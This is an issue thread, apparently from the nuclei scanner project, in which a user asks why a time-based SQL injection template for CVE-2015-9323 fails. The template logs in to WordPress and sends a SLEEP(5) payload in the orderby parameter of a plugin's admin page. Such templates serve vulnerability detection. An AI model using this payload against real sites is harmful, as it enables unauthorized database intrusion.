time-based sqli not work

[cckuailong]

I wrote some time based sqli, but it seems not work with nuclei.

my template is here (poc with burp works well)

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=i4t3-logs&orderby=1%20AND%20(SELECT%204291%20FROM%20(SELECT(SLEEP(5)))cxXu) HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "404 Error Logs"

      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - 'duration>=5'

[princechaddha]

hello @cckuailong, Could you please share the reference for this template?

[cckuailong]

Thank you for reply.
CVE-2015-9323, and here is the reference:

• https://www.exploit-db.com/exploits/50698
• https://nvd.nist.gov/vuln/detail/CVE-2015-9323

vultarget is here:

• https://github.com/cckuailong/reapoc/tree/main/2015/CVE-2015-9323/vultarget

I test it with burp and sqlmap.